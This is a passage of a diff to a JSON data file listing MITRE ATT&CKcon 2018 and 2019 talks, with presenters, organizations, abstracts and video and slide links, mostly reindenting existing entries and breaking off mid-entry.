+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-tracking-and-measuring-attck-coverage-with-attack2jira-lightning-talk-mauricio-velazco"
+ },
+ {
+ "title": "Lightning Talk: STIX in the Mud",
+ "presenters": [
+ {
+ "names": [
+ "Bryson Bort"
+ ],
+ "organization": "SCYTHE"
+ }
+ ],
+ "description": "CTI today = static solutions of yesterday. STIX currently adequately supports today’s requirements. What is if we could operationalize attacks (ATT&CK) with it?",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1483",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-stix-in-the-mud-lightning-talk-bryson-bort-scythe-193684762"
+ },
+ {
+ "title": "Lightning Talk: ATT&CK, Intelligence, and Micro-Purple Teaming",
+ "presenters": [
+ {
+ "names": [
+ "Emma MacMullan"
+ ],
+ "organization": "Federal Reserve"
+ }
+ ],
+ "description": "Intel-driven Purple Teaming can enhance simulated attacks by using ATT&CK to create real-time tactical information on current threat actor behaviors, as well as validate existing detections and identify gaps in coverage. This lightning talk will be a snapshot into an ad-hoc side project that showed you don’t need a big report or a lot of man hours to ask some interesting questions; you just need a little spontaneity, a single TTP, and of course, ATT&CK.",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=1796"
+ },
+ {
+ "title": "Lightning Talk: #GuardrailsoftheGalaxy: The Prologue",
+ "presenters": [
+ {
+ "names": [
+ "Nick Carr"
+ ],
+ "organization": "FireEye"
+ }
+ ],
+ "description": "Providing a quick survey of execution guardrails, environmental keying, and announcing the 2019 nominees for best in-the-wild adversary use of guardrailing.",
+ "video": "https://youtu.be/hrzR8TpnjAw?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk&t=2098"
+ },
+ {
+ "title": "ATT&CK Updates – PRE Integration",
+ "presenters": [
+ {
+ "names": [
+ "Adam Pennington"
+ ],
+ "organization": "MITRE"
+ }
+ ],
+ "description": "Updates from the ATT&CK Team's very own Adam Pennington covering PRE-ATT&CK integration.",
+ "video": "https://youtu.be/fEYL0MDvc44?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-20-attck-updates-pre-attck-integration-adam-pennington-mitre"
+ },
+ {
+ "title": "Closing Remarks",
+ "presenters": [
+ {
+ "names": [
+ "Katie Nickels",
+ "Blake Strom"
+ ],
+ "organization": "MITRE"
+ }
+ ],
+ "description": "ATT&CK Threat Intelligence Lead Katie Nickels and ATT&CK Lead Blake Strom wrap up the conference and share the results of the ATT&CKcon 2.0 Birds of a Feather sessions.",
+ "video": "https://youtu.be/mDKBEsuZvh4?list=PLkTApXQou_8KXWrk0G83QQbNLvspAo-Qk"
+ }
]
-}, {
+ },
+ {
"date": "October 2018",
"title": "ATT&CKcon 2018",
"description": "Thank you for all the passion and engagement that made ATT&CKcon such a success. Over 250 of you joined us in person at MITRE’s McLean campus for our first ever event that was live streamed to more than 1,000 people at its peak. Our videos have been viewed over 10,000 times already, and there’s a lot of energy around the community to keep improving the ATT&CK framework. Please continue to watch and share these presentations.",
"blogpost": "https://medium.com/mitre-attack/attackcon-2018-501d62566233",
"banner_img": "/theme/images/attckcon-banner.jpg",
"sponsors_img_list": [
- "/theme/images/attackcon2018-sponsors/mcafee.png",
- "/theme/images/attackcon2018-sponsors/attackiq.png",
- "/theme/images/attackcon2018-sponsors/endgame.png",
- "/theme/images/attackcon2018-sponsors/tripwire.png",
- "/theme/images/attackcon2018-sponsors/safebreach.png",
- "/theme/images/attackcon2018-sponsors/crowdstrike.png",
- "/theme/images/attackcon2018-sponsors/redcanary.png",
- "/theme/images/attackcon2018-sponsors/verodin.png"
-
+ "/theme/images/attackcon2018-sponsors/mcafee.png",
+ "/theme/images/attackcon2018-sponsors/attackiq.png",
+ "/theme/images/attackcon2018-sponsors/endgame.png",
+ "/theme/images/attackcon2018-sponsors/tripwire.png",
+ "/theme/images/attackcon2018-sponsors/safebreach.png",
+ "/theme/images/attackcon2018-sponsors/crowdstrike.png",
+ "/theme/images/attackcon2018-sponsors/redcanary.png",
+ "/theme/images/attackcon2018-sponsors/verodin.png"
],
"presentations": [
- {
- "title": "Advancing Infosec, Keynote Presentation",
- "presenters": [{
- "names": ["John Lambert"],
- "organization": "Microsoft"
- }],
- "description": "In this presentation at MITRE ATT&CKcon, John Lambert, Distinguished Engineer and General Manager of the Threat Intelligence Center at Microsoft, presents “Advancing InfoSec: Towards an Open, Shareable, Contributor-Friendly Model of Speeding InfoSec Learning.” The talk details a model where infosec know-how is more organized, community sourced, vendor neutral, and shareable by all defenders. It includes a call for the community to publish mappings of ATT&CK techniques used by groups.",
- "video": "https://www.youtube.com/watch?v=yslLIqfOKCU&t=0s&index=2&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-keynote-advancing-infosec-john-lambert-microsoft"
- },
- {
- "title": "How Did We Get Here?",
- "presenters": [{
- "names": ["Blake Strom", "Richard Struse"],
- "organization": "MITRE"
- }],
- "description": "Richard Struse, MITRE’s Principal Strategist for Cyber Threat Intelligence, interviews Blake Strom, MITRE’s principal ATT&CK engineer, on how MITRE ATT&CK was developed, its current state, and future direction.",
- "video": "https://www.youtube.com/watch?v=u8Fnwb-1kMg&t=0s&index=3&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2"
- },
- {
- "title": "Operationalizing ATT&CK",
- "presenters": [{
- "names": ["Bryson Bort"],
- "organization": "SCYTHE"
- }],
- "description": "How do you turn a theoretical framework into something useful? ATT&CK provides a common language while allowing for the development of sophisticated defenses.",
- "video": "https://www.youtube.com/watch?v=ggmdNvJC3sQ&index=4&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-operationalizing-attck-bryson-bort-scythe"
- },
- {
- "title": "Summiting the Pyramid of Pain: Operationalizing ATT&CK",
- "presenters": [{
- "names": ["Emma MacMullan", "Justin Sherenco"],
- "organization": "General Electric"
- }],
- "description": "Operationalizing the ATT&CK framework has enabled GE to deploy custom detection to evolving threat actor behaviors. By leveraging an in-house developed tool called TIAMAT (Tactical Intelligence Adversary Mapping and Analysis Tool) the ATT&CK framework is incorporated into an end-to-end operational process from intelligence collection to customized detection deployment. The designing of this new operational process is examined, and a use case presented of how examining a historical incident led to a new method of deploying detection based on ATT&CK and the detection of previously undiscovered activity. There is also a demo that walks the audience through the end-to-end process and explains TIAMATs capabilities.",
- "video": "https://www.youtube.com/watch?v=YhsN5pBDrGY&index=5&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-summiting-the-pyramid-of-pain-operationalizing-attck-emma-macmullan-and-justin-sherenco-general-electric"
- },
- {
- "title": "ATT&CK: All the Things",
- "presenters": [{
- "names": ["Neelsen Cyrus", "David Thompson"],
- "organization": "USAA"
- }],
- "description": "USAA has utilized the ATT&CK framework as a unique means to map their current detection infrastructure and assess their ability to defend against the most relevant threats to their network. In this presentation they share some lessons learned during their journey with ATT&CK leading to identified best practices for workflow integration through team composition and custom tool development.",
- "video": "https://www.youtube.com/watch?v=wryPQd2s_V8&index=6&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-all-the-things-neelsen-cyrus-and-david-thompson-usaa"
- },
- {
- "title": "Agile Continuous Improvement Using ATT&CK",
- "presenters": [{
- "names": ["Matthew Stiak", "Jason Sinchak"],
- "organization": "Level Nine Group"
- }],
- "description": "Organizations implementing SOC/IR with limited resources confront two issues: prioritization and measurement. Any successful SOC/IR implementation must have a robust way to prioritize content development and technology investment, and measurements that reflect the effectiveness of the investments to drive the next round of prioritization. Organizations can maximize their return on investment by using MITRE ATT&CK to focus resources on repeatable behaviors and provide a simple structure to reporting how well the organization can detect, block, or respond to those behaviors. During this talk security testing and operations experts Matt Stiak and Jason Sinchak share their thoughts on how to operationalize a continuous improvement and measurement framework based on MITRE ATT&CK, as well as some early results from their implementation of that framework.",
- "video": "https://www.youtube.com/watch?v=Bgg6kZBzyhc&index=7&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-agile-continuous-improvement-using-attck-matthew-stiak-delta-dental-and-jason-sinchak-level-nine-group"
- },
- {
- "title": "Vendor Panel Discussion",
- "moderator": {
- "name": "Ed Amoroso",
- "organization": "TAG Cyber"
- },
- "panelists": [
- "Devon Kerr, Endgame",
- "Jen Miller-Osborn, Unit 42 at Palo Alto Networks",
- "Ross Rustici, Cybereason",
- "Carl Wright, ATTACKIQ"
- ],
- "topics": [
- "The role of a threat taxonomy in the design of a commercial solution",
- "How commercial providers keep up with a changing threat landscape",
- "Stories around the most intriguing threat scenarios or methods seen",
- "Requirements from commercial clients regarding threat frameworks"
- ],
- "video": "https://www.youtube.com/watch?v=hQIYdCocjbw&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=8&t=0s"
- },
- {
- "title": "VCAF: Expanding the ATT&CK Framework to cover VERIS Threat Action Varieties",
- "presenters": [{
- "names": ["Alex Pinto"],
- "organization": "Verizon"
- }],
- "description": "The Vocabulary for Event Recording and Incident Sharing (VERIS) is a set of metrics designed to provide a common language for describing security incidents in a structured and repeatable manner. VERIS has been the base analysis framework for supporting the Verizon Data Breach Investigations Report (DBIR) since its inception. However, as organizations work to interpret the richness of information present on the DBIR to a more tactical level, the Threat Action Varieties available on VERIS fail to capture the detail present on the incidents recorded. This talk presents the Verizon Common Attack Framework (VCAF), an effort from the Security Data Science team and the DBIR team in Verizon to expand and map the ATT&CK framework in alignment with the DBIR Threat Action Varieties to provide this much-sought level of granularity in recording and analyzing recorded breaches. Additionally, this talk describes possible outcomes when this data is available and organized as such. Examples include applying DBIR-inspired attack vector analytics upon ATT&CK layer information, effectively identifying optimal control choke points on the attack graphs according to specific industries covered by the DBIR.",
- "video": "https://www.youtube.com/watch?v=-NtYYqUGEco&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=9&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-vcaf-expanding-the-attck-framework-to-cover-veris-threat-action-varieties-alex-pinto-verizon"
- },
- {
- "title": "Playing Devil’s Advocate to Security Initiatives with ATT&CK",
- "presenters": [{
- "names": ["David Middlehurst"],
- "organization": "Trustwave"
- }],
- "description": "This talk presents a case study which demonstrates that we should consider the knowledge and wisdom contained within ATT&CK in all organizational security initiatives to make sure by fixing one thing we have not just created an opportunity. The presentation shows how to leverage the analysis and classification of APT tactics and procedures (TTP) to guide research into new and novel techniques, specifically focusing on exfiltration and command and control. DNS over HTTPS (DoH) aims to increase user privacy and security by preventing eavesdropping and manipulation of DNS data by man-in-the-middle attacks. Major web browsers such as Firefox are considering its implementation by default. But what could this possibly mean for exfiltration and command and control? This session provides an end-to-end demo that shows DoH being implemented to provide full command and control in a popular attack simulation framework and discusses associated mitigations.",
- "video": "https://www.youtube.com/watch?v=4sNaScEg32s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=10&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-playing-devils-advocate-to-security-initiatives-with-attck-david-middlehurst-trustwave"
- },
- {
- "title": "From Red VS Blue to Red Loves Blue",
- "presenters": [{
- "names": ["Olaf Hartong", "Vincent Van Mieghem"],
- "organization": "Deloitte"
- }],
- "description": "This session discusses Deloitte’s purple teaming approach which is using ATT&CK as a guiding principle to help both teams improve. This session shows how this works in a customer scenario, how to scope that scenario, how to plan the scenario and choose the various TTPs to be covered to how we assist the customers blue team in understanding the TTPs and helping them design detective capabilities for them. When the Blue Team is able to connect the dots from offensive activities in the network and what they see in their logs, rewalls, SIEMs, etc. they have the ability to fully understand what adversaries do and what the TTP’s of attackers actually look like if they are active in their network. It’s much easier to find the needle in the haystack if you know there is a needle to find to begin with. Purple teaming is providing this pointy needle, used to accelerate the Blue Team.",
- "video": "https://www.youtube.com/watch?v=7OK3fOZ7NXM&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=11&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-red-vs-blue-to-red-blue-olaf-hartong-and-vincent-van-mieghem-deloitte"
- },
- {
- "title": "Helping Your Non-Security Executives Understand ATT&CK in 10 Minutes or Less",
- "presenters": [{
- "names": ["Elly Searle"],
- "organization": "CrowdStrike"
- }],
- "description": "ATT&CK is an incredibly valuable framework for describing and analyzing what’s happening in your environment. Sometimes security professionals not only need a way to understand, but also need a way to clearly articulate to non-security leadership to gain support and investment in needed resourcing. Using UX design methods, CrowdStrike came up with a mental model and more conversational terms to help anyone quickly parse the big picture.",
- "video": "https://www.youtube.com/watch?v=eZsMHSE2PDc&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=12&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-helping-your-nonsecurity-executives-understand-attck-in-10-minutes-or-less-elly-searle-crowdstrike"
- },
- {
- "title": "ATT&CK as a Teacher",
- "presenters": [{
- "names": ["Travis Smith"],
- "organization": "Tripwire"
- }],
- "description": "ATT&CK is valuable for those of us who are heads down in security day in and day out. But what about using ATT&CK to each college interns about security? This presentation details how Tripwire used ATT&CK to build- out a new training regimen for summer interns. By going through and finding quick wins, Tripwire’s interns were actively engaged in learning about security. The detailed break downs of ATT&CK were greatly beneficial in helping teach security concepts to those who were not yet familiar with them. This session shows the program details and how you might be able to adapt it to your requirements.",
- "video": "https://www.youtube.com/watch?v=4s3pZirFCPk&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=13&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-as-a-teacher-travis-smith-tripwire"
- }, {
- "title": "Detection Philosophy, Evolution & ATT&CK",
- "presenters": [{
- "names": ["Fred Stankowski", "Travis McWaters"],
- "organization": "Pepsico"
- }],
- "description": "This lightning talk is a brief discussion around how PepsiCo is managing their ‘detection catalog’ and how it maps and is enhanced by the MITRE ATT&CK framework.",
- "video": "https://www.youtube.com/watch?v=bFFi3Vqrp2o&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=14&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-detection-philosophy-evolution-attck-fred-stankowski-travis-mcwaters"
- },
- {
- "title": "Decision Analysis Applications in Threat Analysis Frameworks",
- "presenters": [{
- "names": ["Emily Shawgo"],
- "organization": "PNC"
- }],
- "description": "In the modern age, all organizations face threats from various types of cyber attacks. Although great strides have been made to consider human factors in cybersecurity and to become more proactive in threat analysis, security is still generally a reactive, technical field. The research presented in this talk seeks to develop a framework which adapts the existing MITRE ATT&CK framework to look at attacks in a less linear, more human-centered framework that focuses on the capabilities and decisions of the threat actor. The framework approaches threat analysis from a binary assessment of success vs. failure in order to see the entire attack and consider the potential for a number of methods and attempts made in a single attack. A detailed methodology and sample charts are included for a reference and a starting point in developing one’s own personalized charts, and recommendations are made for ways to integrate this methodology into the risk management process.",
- "video": "https://www.youtube.com/watch?v=3JMVP6rkY8Y&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=15&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-decision-analysis-applications-in-threat-analysis-frameworks-emily-shawgo-pnc"
- },
- {
- "title": "Building an Atomic Testing Program",
- "presenters": [{
- "names": ["Brian Beyer"],
- "organization": "Red Canary"
- }],
- "description": "Red Canary’s applied research team built the Atomic Red Team project based on a simple idea: encourage security teams to test their systems. Leveraging MITRE ATT&CK, the series of small tests can be combined into chains to help teams gain insight into gaps in their security program at all levels. This talk describes how to use Atomic Red Team and how MITRE ATT&CK is leveraged to write the tests.",
- "video": "https://www.youtube.com/watch?v=MZZzYaNUfjE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=16&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-building-an-atomic-testing-program-brian-beyer-red-canary"
- },
- {
- "title": "5 Ways to Screw Up Your Security Program with ATT&CK",
- "presenters": [{
- "names": ["Kyle Rainey"],
- "organization": "Red Canary"
- }],
- "description": "Over the past year there has been a significant uptick in adoption of MITRE ATT&CK. Adoption of a common language and taxonomy for adversarial tactics and techniques comes with a few unspoken traps. This talk is to bring awareness to the pitfalls of implementing and adopting any variation of MITRE ATT&CK and how you can avoid falling for them.",
- "video": "https://www.youtube.com/watch?v=MBVxaE9oaMQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=17&t=0s"
- },
- {
- "title": "ATT&CK + OSQuery = Love",
- "presenters": [{
- "names": ["Scott Lundgren"],
- "organization": "Carbon Black"
- }],
- "description": "MITRE ATT&CK is cool and it's open, with a heavy emphasis on how attackers behave on the endpoint. OSQuery is cool and it's open, with a heavy emphasis on endpoint visibility. This talk focuses on an open-source extension to OSQuery that provides a free, repeatable mechanism to identify and detect ATT&CK techniques.",
- "video": "https://www.youtube.com/watch?v=scI1AvZUBCo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=18&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-osquery-love-scott-lundgren-carbon-black"
- },
- {
- "title": "An ATT&CK Review of 200 Hybrid-Analysis Submissions",
- "presenters": [{
- "names": ["James Lerud"],
- "organization": "Verodin"
- }],
- "description": "How can you consistently categorize Techniques a given piece of malware uses? The answer to this question could be provided by sandbox vendors. CrowdStrike has embraced ATT&CK by including Technique detection in their public Hybrid-Analysis reports. This talk reviews the submission results of 100 malicious and 100 benign executables.",
- "video": "https://www.youtube.com/watch?v=GDIPEYdTmCE&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=19&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-an-attck-review-of-200-hybridanalysis-submissions-james-lerud-verodin"
- },
- {
- "title": "From Technique to Detection",
- "presenters": [{
- "names": ["Paul Ewing", "Ross Wolf"],
- "organization": "Endgame"
- }],
- "description": "This session is a practical guide for a rapid prototyping of ATT&CK-based analytics – from technique to detection.",
- "video": "https://www.youtube.com/watch?v=a3hIIzJrH14&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=20&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-technique-to-detection-paul-ewing-and-ross-wolf-endgame"
- },
- {
- "title": "Hunters ATT&CKing with the Data",
- "presenters": [{
- "names": ["Roberto Rodriguez"],
- "organization": "SpecterOps"
- }, {
- "names": ["Jose Luis Rodriguez"],
- "organization": "Student"
- }],
- "description": "With the development of the MITRE ATT&CK framework and its categorization of adversary activity during the attack cycle, understanding what to hunt for has become easier and more efficient than ever. However, organizations are still struggling to understand how they can prioritize the development of hunt hypothesis, assess their current security posture, and develop the right analytics with the help of ATT&CK. Even though there are several ways to utilize ATT&CK to accomplish those goals, there are only a few that are focusing primarily on the data that is currently being collected to drive the success of a hunt program. This presentation shows how organizations can benefit from mapping their current visibility from a data perspective to the ATT&CK framework. It focuses on how to identify, document, standardize and model current available data to enhance a hunt program. It presents an updated ThreatHunter-Playbook, a Kibana ATT&CK dashboard, a new project named Open Source Security Events Metadata known as OSSEM and expands on the “data sources” section already provided by ATT&CK on most of the documented adversarial techniques.",
- "video": "https://www.youtube.com/watch?v=QCDBjFJ_C3g&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=21&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-hunters-attcking-with-the-data-robert-rodriguez-specterops-and-jose-luis-rodriguez-student"
- },
- {
- "title": "Analyzing Targeted Intrusions Through the Lens of the ATT&CK Framework",
- "presenters": [{
- "names": ["Karl Scheuerman"],
- "organization": "CrowdStrike"
- }],
- "description": "The security community is quickly adopting the MITRE ATT&CK matrix as a framework for understanding and analyzing targeted intrusions. However, one of its potential limitations is a lack of detailed historical intrusion data for developing accurate and thorough ATT&CK-based threat modeling. Crowdstrike’s Falcon OverWatch threat hunting team analyzes adversary behavior on a regular basis. The amount of OverWatch's malicious intrusion data is significant given the valuable telemetry delivered by Falcon's endpoint technology. As a result, CrowdStrike has amassed a rich data library of malicious activity that can be applied to the ATT&CK model. The OverWatch Strategic Counter-Adversary Research (SCAR) team has now evaluated all OverWatch intrusion data since January 1, 2018 through the lens of the ATT&CK framework. This presentation presents these findings and highlights cases of unique adversary TTP use. The results of this analysis will provide a baseline from which CrowdStrike can better identify changes in threat actor TTP trends moving forward. In addition, the presentation discusses limitations in this type of research.",
- "video": "https://www.youtube.com/watch?v=Rg64nPqqs8s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=22&t=0s"
- },
- {
- "title": "End User Panel Disussion",
- "moderator": {
- "name": "Katie Nickels",
- "organization": "MITRE"
- },
- "panelists": [
- "Jon Bagg, Booz Allen Hamilton",
- "Daniel Bernholz, JPMorgan Chase",
- "Dave Westgard, Target Corporation"
- ],
- "topics": [
- "What are the best practices and lessons learned for organizations who are just getting started with ATT&CK?",
- "What has been the most difficult part of implementing ATT&CK? What changes could be made to ATT&CK to make it easier for others in the future?",
- "Where would you like to see ATT&CK go in the future that would help make it more useful for your team?",
- "What else haven’t we talked about that you think is important for someone who wants to use ATT&CK to know?"
- ],
- "video": "https://www.youtube.com/watch?v=wJoMKYfM7OQ&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=23&t=0s"
- },{
- "title": "Sofacy 2018 and the Adversary Playbook",
- "presenters": [{
- "names": ["Robert Falcone"],
- "organization": "Palo Alto Networks"
- }],
- "description": "Unit 42 researches threat activity and publishes detailed reports on attack campaigns launched by these adversaries. One of these adversaries, known as Sofacy, has been carrying out attack campaigns on high profile targets for many years and has continued into 2018. To understand how to defend against these threats, an analyst has to read our reports, process them and mentally map them to their defenses. In most cases we expect readers just \"block\" all of the indicators we include in the report and assume they are covered. Last year we started using ATT&CK to codify the techniques we observed, linking those techniques to indicator patterns and encoding them into STIX 2 objects, with the goal of creating something that a defender can use to answer the question: \"How am I defending against this adversary?\" We call these documents, \"Adversary Playbooks\" as they contain our best approximation of how the adversary launches their attacks. This talk describes the concept of Adversary Playbooks, as well as provides an overview of the attack campaigns Unit 42 has attributed to the Sofacy group in 2018. It uses the discussed attacks to show how these playbooks are constructed and explain some of the challenges of incorporating ATT&CK and STIX 2 together for this purpose.",
- "video": "https://www.youtube.com/watch?v=4CBES3xv3Zg&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=24&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-sofacy-2018-and-the-adversary-playbook-robert-falcone-palo-alto-networks"
- },{
- "title": "From Automation to Analytics: Simulating the Adversary to Create Better Detections",
- "presenters": [{
- "names": ["David Herrald", "Ryan Kovar"],
- "organization": "Splunk"
- }],
- "description": "Security teams have more detection tools at their disposal than ever before, yet most are still struggling to find even the most basic malicious activity occurring in their environments. Building effective detection analytics requires realistic data and the ability to iterate quickly in a rapid analytic development cycle. This talk introduces a full lifecycle attack simulation and analytics development environment featuring the MITRE ATT&CK framework and the Atomic Red Team project using Splunk and Splunk Phantom mapped to an imaginary APT group, Taedonggang. It focuses on how security teams can use such a system to rapidly develop and share new detection analytics. Links to all components referenced in the talk are provided, including a cloud-based dataset that can act as a playground for users who want to see the results of the activity.",
- "video": "https://www.youtube.com/watch?v=ZRixr6QshEs&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=25&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-from-automation-to-analytics-simulating-the-adversary-to-create-better-detections-david-herrald-and-ryan-kovar-splunk"
- },{
- "title": "The Use of Game Theory with MITRE ATT&CK",
- "presenters": [{
- "names": ["Matt Summers", "Nick Dunn"],
- "organization": "NCC Group"
- }],
- "description": "This presentation shows how the use of game theory with the ATT&CK framework can produce better attack and defense strategies.",
- "video": "https://www.youtube.com/watch?v=UcZBAY18UXo&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2&index=26&t=0s",
- "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-the-use-of-game-theory-with-mitre-attck-matt-summers-and-nick-dunn-ncc-group"
- }
+ {
+ "title": "Advancing Infosec, Keynote Presentation",
+ "presenters": [
+ {
+ "names": [
+ "John Lambert"
+ ],
+ "organization": "Microsoft"
+ }
+ ],
+ "description": "In this presentation at MITRE ATT&CKcon, John Lambert, Distinguished Engineer and General Manager of the Threat Intelligence Center at Microsoft, presents “Advancing InfoSec: Towards an Open, Shareable, Contributor-Friendly Model of Speeding InfoSec Learning.” The talk details a model where infosec know-how is more organized, community sourced, vendor neutral, and shareable by all defenders. It includes a call for the community to publish mappings of ATT&CK techniques used by groups.",
+ "video": "https://www.youtube.com/watch?v=yslLIqfOKCU&t=0s&index=2&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-keynote-advancing-infosec-john-lambert-microsoft"
+ },
+ {
+ "title": "How Did We Get Here?",
+ "presenters": [
+ {
+ "names": [
+ "Blake Strom",
+ "Richard Struse"
+ ],
+ "organization": "MITRE"
+ }
+ ],
+ "description": "Richard Struse, MITRE’s Principal Strategist for Cyber Threat Intelligence, interviews Blake Strom, MITRE’s principal ATT&CK engineer, on how MITRE ATT&CK was developed, its current state, and future direction.",
+ "video": "https://www.youtube.com/watch?v=u8Fnwb-1kMg&t=0s&index=3&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2"
+ },
+ {
+ "title": "Operationalizing ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "Bryson Bort"
+ ],
+ "organization": "SCYTHE"
+ }
+ ],
+ "description": "How do you turn a theoretical framework into something useful? ATT&CK provides a common language while allowing for the development of sophisticated defenses.",
+ "video": "https://www.youtube.com/watch?v=ggmdNvJC3sQ&index=4&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-operationalizing-attck-bryson-bort-scythe"
+ },
+ {
+ "title": "Summiting the Pyramid of Pain: Operationalizing ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "Emma MacMullan",
+ "Justin Sherenco"
+ ],
+ "organization": "General Electric"
+ }
+ ],
+ "description": "Operationalizing the ATT&CK framework has enabled GE to deploy custom detection to evolving threat actor behaviors. By leveraging an in-house developed tool called TIAMAT (Tactical Intelligence Adversary Mapping and Analysis Tool) the ATT&CK framework is incorporated into an end-to-end operational process from intelligence collection to customized detection deployment. The designing of this new operational process is examined, and a use case presented of how examining a historical incident led to a new method of deploying detection based on ATT&CK and the detection of previously undiscovered activity. There is also a demo that walks the audience through the end-to-end process and explains TIAMATs capabilities.",
+ "video": "https://www.youtube.com/watch?v=YhsN5pBDrGY&index=5&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-summiting-the-pyramid-of-pain-operationalizing-attck-emma-macmullan-and-justin-sherenco-general-electric"
+ },
+ {
+ "title": "ATT&CK: All the Things",
+ "presenters": [
+ {
+ "names": [
+ "Neelsen Cyrus",
+ "David Thompson"
+ ],
+ "organization": "USAA"
+ }
+ ],
+ "description": "USAA has utilized the ATT&CK framework as a unique means to map their current detection infrastructure and assess their ability to defend against the most relevant threats to their network. In this presentation they share some lessons learned during their journey with ATT&CK leading to identified best practices for workflow integration through team composition and custom tool development.",
+ "video": "https://www.youtube.com/watch?v=wryPQd2s_V8&index=6&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-attck-all-the-things-neelsen-cyrus-and-david-thompson-usaa"
+ },
+ {
+ "title": "Agile Continuous Improvement Using ATT&CK",
+ "presenters": [
+ {
+ "names": [
+ "Matthew Stiak",
+ "Jason Sinchak"
+ ],
+ "organization": "Level Nine Group"
+ }
+ ],
+ "description": "Organizations implementing SOC/IR with limited resources confront two issues: prioritization and measurement. Any successful SOC/IR implementation must have a robust way to prioritize content development and technology investment, and measurements that reflect the effectiveness of the investments to drive the next round of prioritization. Organizations can maximize their return on investment by using MITRE ATT&CK to focus resources on repeatable behaviors and provide a simple structure to reporting how well the organization can detect, block, or respond to those behaviors. During this talk security testing and operations experts Matt Stiak and Jason Sinchak share their thoughts on how to operationalize a continuous improvement and measurement framework based on MITRE ATT&CK, as well as some early results from their implementation of that framework.",
+ "video": "https://www.youtube.com/watch?v=Bgg6kZBzyhc&index=7&t=0s&list=PLkTApXQou_8JrhtrFDfAskvMqk97Yu2S2",
+ "slides": "https://www.slideshare.net/attackcon2018/mitre-attckcon-2018-agile-continuous-improvement-using-attck-matthew-stiak-delta-dental-and-jason-sinchak-level-nine-group"
+ },
+ {
+ "title": "Vendor Panel Discussion",
+ "moderator": {
+ "name": "Ed Amoroso",
+ "organization": "TAG Cyber"
+ },
+ "panelists": [
+ "Devon Kerr, Endgame",
+ "Jen Miller-Osborn, Unit 42 at Palo Alto Networks",
+ "Ross Rustici, Cybereason",
+ "Carl Wright, ATTACKIQ"
+ ],
+ "topics": [
